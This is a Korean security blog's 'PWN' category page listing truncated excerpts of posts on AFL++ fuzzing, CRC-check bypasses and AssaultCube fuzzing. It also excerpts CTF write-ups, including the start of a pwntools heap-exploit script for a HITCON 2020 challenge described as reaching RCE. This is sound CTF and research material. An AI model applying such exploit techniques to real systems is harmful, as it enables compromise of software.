본문 바로가기

PWN

(26)
AFLPlusplus qemu, Persistence mode 속도 느려질 때 보호되어 있는 글입니다.
Bypass CRC check for fuzzing with pintools tcp, zip, tar, png등 다양한 데이터 형식에서는 crc 체크를 통해서 파일의 무결성을 검증한다. 만약 crc 체크가 실패하면 프로그램이 그냥 종료된다. 퍼저에 의해 무작위로 변이된 데이터가 crc를 맞출 수 있을 확률이 지극히 낮다. 이러한 문제를 해결하기 위해서 2가지 방법을 쓸 수 있다. Post mutator에 crc 체크를 맞춰주는 코드를 넣어준다. 장점1 : Crash reproduce가 쉽다. 장점2 : crc뿐만 아니라, 다른 형식에 대해서도 적용할 수 있기 때문에 더 범용적이다. 단점1 : 하나의 포맷이 아니라, 다수의 포맷을 처리하는 프로그램의 경우, 프로그램에서 어떠한 방식으로 파일의 포맷을 결정하는지 리버싱해야 한다. switch(format(data)){//have to..
AFLPlusplus - qemu mode - High map density 언젠가 블로그 글을 일주일에 하나씩 업로드하겠다고 결심했던 때가 있었던 것 같은데... AFLPlusplus에서는 shared memory로 커버리지를 측정한다. 이때 shared memory를 map이라고 하고, shared memory의 size를 map size라고 한다. 복잡하고 사이즈가 큰 바이너리를 qemu mode로 퍼징할 때, map density가 70%이상으로 높아질 때가 있다. shared memory의 70%가 특정 커버리지에 의해서 표시되었다는 뜻이다. 이 경우 새로운 커버리지가 발견되어도, 70% 확률로 이미 발견된 커버리지로 측정된다. (collision) AFLPlusplus에서는 AFL_MAP_SIZE 환경변수를 통해서 map size를 바꿀 수 있다고 문서화되어 있다. 하..
Linux 버그 보는 곳 가끔 리눅스의 최신 버그 (glibc 등에서 발생하는 것들)을 찾아야 할 때가 있다. https://sourceware.org/bugzilla/describecomponents.cgi
Ida python for bug hunting 보호되어 있는 글입니다.
Assaultcube Fuzzing Assaultcube는 Open source FPS 게임입니다. 리눅스, 윈도우, 맥에서 플레이 가능하며, 매우 낮은 사양의 PC로도 정상적인 플레이가 가능하다는 특징이 있습니다. 최근 해당 게임에서 취약점이 발견되었고, 해당 취약점을 모티브로한 CTF 문제가 출제된 적이 있습니다. 퍼징 결과 한 개의 원데이 취약점을 발견하였습니다. 본 문서에서는 원데이 취약점이 나왔던 Client가 Server로 보내는 message에 대해서만 퍼징을 했습니다. Map, Server to Client 등 좀 더 많은 벡터에 대해서 퍼징을 한다면 제로데이 취약점을 발견할 수도 있을 것으로 예상됩니다. 나중에 시간될 때 하거나 다른 분이 하시면 구경할 예정. Motivation CTF 문제랑 1-day 문서 있는 거 보고..
HITCON CTF 2020 / Dual Fuzzing with AFL -> Awesome crash -> Type confusion -> Heap Overflow ->AAW -> RCE from pwn import * def go(a,b): p.recvuntil(str(a)) p.sendline(str(b)) def add(pred): go(">",'1') go(">",pred) def link(pred,succ): go(">",'2') go(">",pred) go('>',succ) #payload = open("null").read() #print(payload.encode('hex')) payload =b"""5 E23 7 1 E2 7 7? 4 %d """%(0x39) ##FAKE NODE ##### payload+=p64(0xdead)#..
사이버작전경연대회 2020 / vaccinesimulator 대회가 종료되기 40분전에 풀이를 떠올리고 대회가 끝난 20분 뒤에 쉘을 딴 문제입니다. Heap에서 삽질을 조금만 덜 했으면 시간내에 풀었을 텐데 아쉽습니다. keyword : LD_PRELOAD manager 파일과 simulator파일이 주워집니다. manager 파일에는 canary가 적용되어 있지 않습니다. ➜ vachine checksec manager [*] '/home/jjy/lab/whitehat/vachine/manager' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled ➜ vachine checksec simulator [*] '/home/jjy/lab/white..